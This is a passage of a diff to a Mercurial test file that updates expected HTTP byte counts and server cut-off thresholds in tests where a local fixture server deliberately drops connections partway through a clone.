lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + sendall(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(431) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(431) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) write(36) -> HTTP/1.1 200 Script output follows\r\n (no-py3 !) write(23) -> Server: badhttpserver\r\n (no-py3 !) write(37) -> Date: $HTTP_DATE$\r\n (no-py3 !) write(41) -> Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21) -> Content-Length: 450\r\n (no-py3 !) + write(21) -> Content-Length: 431\r\n (no-py3 !) write(2) -> \r\n (no-py3 !) - write(450) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + write(431) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(4? from 65537) -> (26) GET /?cmd=batch HTTP/1.1\r\n (glob) readline(1? from *) -> (1?) Accept-Encoding* (glob) read limit reached; closing socket @@ -163,17 +164,17 @@ readline(213 from *) -> (*) host: localhost:$HGPORT\r\n (glob) readline(* from *) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(* from *) -> (2) \r\n (glob) - sendall(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(450) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(450) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + sendall(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(431) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(431) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) write(36) -> HTTP/1.1 200 Script output follows\r\n (no-py3 !) write(23) -> Server: badhttpserver\r\n (no-py3 !) write(37) -> Date: $HTTP_DATE$\r\n (no-py3 !) write(41) -> Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21) -> Content-Length: 450\r\n (no-py3 !) + write(21) -> Content-Length: 431\r\n (no-py3 !) write(2) -> \r\n (no-py3 !) - write(450) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + write(431) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(13? from 65537) -> (26) GET /?cmd=batch HTTP/1.1\r\n (glob) readline(1?? from *) -> (27) Accept-Encoding: identity\r\n (glob) readline(8? from *) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) @@ -228,17 +229,17 @@ readline(234 from *) -> (2?) host: localhost:$HGPORT\r\n (glob) readline(* from *) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(* from *) -> (2) \r\n (glob) - sendall(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 463\r\n\r\n (py36 !) - sendall(463) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx httppostargs known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 463\r\n\r\n (py3 no-py36 !) - write(463) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx httppostargs known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + sendall(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 444\r\n\r\n (py36 !) + sendall(444) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx httppostargs known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 444\r\n\r\n (py3 no-py36 !) + write(444) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx httppostargs known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) write(36) -> HTTP/1.1 200 Script output follows\r\n (no-py3 !) write(23) -> Server: badhttpserver\r\n (no-py3 !) write(37) -> Date: $HTTP_DATE$\r\n (no-py3 !) write(41) -> Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21) -> Content-Length: 463\r\n (no-py3 !) + write(21) -> Content-Length: 444\r\n (no-py3 !) write(2) -> \r\n (no-py3 !) - write(463) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx httppostargs known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + write(444) -> batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx httppostargs known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(1?? from 65537) -> (27) POST /?cmd=batch HTTP/1.1\r\n (glob) readline(1?? from *) -> (27) Accept-Encoding: identity\r\n (glob) readline(1?? from *) -> (41) content-type: application/mercurial-0.1\r\n (glob) @@ -296,7 +297,7 @@ Traceback (most recent call last): Exception: connection closed after sending N bytes - write(286) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\nHTTP/1.1 500 Internal Server Error\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nTransfer-Encoding: chunked\r\n\r\n (py3 no-py36 !) + write(286) -> HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\nHTTP/1.1 500 Internal Server Error\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nTransfer-Encoding: chunked\r\n\r\n (py3 no-py36 !) write(36) -> HTTP/1.1 500 Internal Server Error\r\n (no-py3 !) $ rm -f error.log @@ -307,7 +308,7 @@ $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone - abort: HTTP request error (incomplete response; expected 450 bytes got 20) + abort: HTTP request error (incomplete response; expected 431 bytes got 20) (this may be an intermittent network failure; if the error persists, consider contacting the network or server operator) [255] @@ -320,17 +321,17 @@ readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) readline(*) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(*) -> (2) \r\n (glob) - sendall(160 from 160) -> (20) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(20 from 450) -> (0) batch branchmap bund (py36 !) - write(160 from 160) -> (20) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(20 from 450) -> (0) batch branchmap bund (py3 no-py36 !) + sendall(160 from 160) -> (20) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(20 from 431) -> (0) batch branchmap bund (py36 !) + write(160 from 160) -> (20) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(20 from 431) -> (0) batch branchmap bund (py3 no-py36 !) write(36 from 36) -> (144) HTTP/1.1 200 Script output follows\r\n (no-py3 !) write(23 from 23) -> (121) Server: badhttpserver\r\n (no-py3 !) write(37 from 37) -> (84) Date: $HTTP_DATE$\r\n (no-py3 !) write(41 from 41) -> (43) Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21 from 21) -> (22) Content-Length: 450\r\n (no-py3 !) + write(21 from 21) -> (22) Content-Length: 431\r\n (no-py3 !) write(2 from 2) -> (20) \r\n (no-py3 !) - write(20 from 450) -> (0) batch branchmap bund (no-py3 !) + write(20 from 431) -> (0) batch branchmap bund (no-py3 !) write limit reached; closing socket $LOCALIP - - [$ERRDATE$] Exception happened during processing request '/?cmd=capabilities': (glob) Traceback (most recent call last): @@ -341,7 +342,7 @@ Server sends incomplete headers for batch request - $ hg serve --config badserver.closeaftersendbytes=728 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=709 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS TODO this output is horrible @@ -363,17 +364,17 @@ readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) readline(*) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(*) -> (2) \r\n (glob) - sendall(160 from 160) -> (568) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(450 from 450) -> (118) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160 from 160) -> (568) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(450 from 450) -> (118) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) - write(36 from 36) -> (692) HTTP/1.1 200 Script output follows\r\n (no-py3 !) - write(23 from 23) -> (669) Server: badhttpserver\r\n (no-py3 !) - write(37 from 37) -> (632) Date: $HTTP_DATE$\r\n (no-py3 !) - write(41 from 41) -> (591) Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21 from 21) -> (570) Content-Length: 450\r\n (no-py3 !) - write(2 from 2) -> (568) \r\n (no-py3 !) - write(450 from 450) -> (118) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + sendall(160 from 160) -> (549) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(431 from 431) -> (118) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160 from 160) -> (568) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(431 from 431) -> (118) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + write(36 from 36) -> (673) HTTP/1.1 200 Script output follows\r\n (no-py3 !) + write(23 from 23) -> (650) Server: badhttpserver\r\n (no-py3 !) + write(37 from 37) -> (613) Date: $HTTP_DATE$\r\n (no-py3 !) + write(41 from 41) -> (572) Content-Type: application/mercurial-0.1\r\n (no-py3 !) + write(21 from 21) -> (551) Content-Length: 431\r\n (no-py3 !) + write(2 from 2) -> (549) \r\n (no-py3 !) + write(431 from 431) -> (118) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(65537) -> (26) GET /?cmd=batch HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) @@ -401,7 +402,7 @@ Server sends an incomplete HTTP response body to batch request - $ hg serve --config badserver.closeaftersendbytes=793 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=774 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS TODO client spews a stack due to uncaught ValueError in batch.results() @@ -422,17 +423,17 @@ readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) readline(*) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(*) -> (2) \r\n (glob) - sendall(160 from 160) -> (633) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(450 from 450) -> (183) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160 from 160) -> (633) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(450 from 450) -> (183) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) - write(36 from 36) -> (757) HTTP/1.1 200 Script output follows\r\n (no-py3 !) - write(23 from 23) -> (734) Server: badhttpserver\r\n (no-py3 !) - write(37 from 37) -> (697) Date: $HTTP_DATE$\r\n (no-py3 !) - write(41 from 41) -> (656) Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21 from 21) -> (635) Content-Length: 450\r\n (no-py3 !) - write(2 from 2) -> (633) \r\n (no-py3 !) - write(450 from 450) -> (183) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + sendall(160 from 160) -> (614) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(431 from 431) -> (183) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160 from 160) -> (633) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(431 from 431) -> (183) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + write(36 from 36) -> (738) HTTP/1.1 200 Script output follows\r\n (no-py3 !) + write(23 from 23) -> (715) Server: badhttpserver\r\n (no-py3 !) + write(37 from 37) -> (678) Date: $HTTP_DATE$\r\n (no-py3 !) + write(41 from 41) -> (637) Content-Type: application/mercurial-0.1\r\n (no-py3 !) + write(21 from 21) -> (616) Content-Length: 431\r\n (no-py3 !) + write(2 from 2) -> (614) \r\n (no-py3 !) + write(431 from 431) -> (183) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(65537) -> (26) GET /?cmd=batch HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) @@ -463,7 +464,7 @@ Server sends incomplete headers for getbundle response - $ hg serve --config badserver.closeaftersendbytes=940 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=921 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS TODO this output is terrible @@ -486,17 +487,17 @@ readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) readline(*) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(*) -> (2) \r\n (glob) - sendall(160 from 160) -> (780) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(450 from 450) -> (330) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160 from 160) -> (780) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(450 from 450) -> (330) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) - write(36 from 36) -> (904) HTTP/1.1 200 Script output follows\r\n (no-py3 !) - write(23 from 23) -> (881) Server: badhttpserver\r\n (no-py3 !) - write(37 from 37) -> (844) Date: $HTTP_DATE$\r\n (no-py3 !) - write(41 from 41) -> (803) Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21 from 21) -> (782) Content-Length: 450\r\n (no-py3 !) - write(2 from 2) -> (780) \r\n (no-py3 !) - write(450 from 450) -> (330) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + sendall(160 from 160) -> (761) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(431 from 431) -> (330) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160 from 160) -> (780) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(431 from 431) -> (330) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + write(36 from 36) -> (885) HTTP/1.1 200 Script output follows\r\n (no-py3 !) + write(23 from 23) -> (862) Server: badhttpserver\r\n (no-py3 !) + write(37 from 37) -> (825) Date: $HTTP_DATE$\r\n (no-py3 !) + write(41 from 41) -> (784) Content-Type: application/mercurial-0.1\r\n (no-py3 !) + write(21 from 21) -> (763) Content-Length: 431\r\n (no-py3 !) + write(2 from 2) -> (761) \r\n (no-py3 !) + write(431 from 431) -> (330) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(65537) -> (26) GET /?cmd=batch HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) @@ -520,7 +521,7 @@ readline(65537) -> (30) GET /?cmd=getbundle HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) - readline(*) -> (461) x-hgarg-1: bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=96ee1d7354c4ad7372047672c36a1f561e3a6a4c&listkeys=phases%2Cbookmarks\r\n (glob) + readline(*) -> (440) x-hgarg-1: bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=96ee1d7354c4ad7372047672c36a1f561e3a6a4c&listkeys=phases%2Cbookmarks\r\n (glob) readline(*) -> (61) x-hgproto-1: 0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull\r\n (glob) readline(*) -> (35) accept: application/mercurial-0.1\r\n (glob) readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) @@ -544,7 +545,7 @@ Server stops before it sends transfer encoding - $ hg serve --config badserver.closeaftersendbytes=973 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=954 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -573,7 +574,7 @@ Server sends empty HTTP body for getbundle - $ hg serve --config badserver.closeaftersendbytes=978 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=959 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -591,17 +592,17 @@ readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) readline(*) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(*) -> (2) \r\n (glob) - sendall(160 from 160) -> (818) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(450 from 450) -> (368) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160 from 160) -> (818) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(450 from 450) -> (368) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) - write(36 from 36) -> (942) HTTP/1.1 200 Script output follows\r\n (no-py3 !) - write(23 from 23) -> (919) Server: badhttpserver\r\n (no-py3 !) - write(37 from 37) -> (882) Date: $HTTP_DATE$\r\n (no-py3 !) - write(41 from 41) -> (841) Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21 from 21) -> (820) Content-Length: 450\r\n (no-py3 !) - 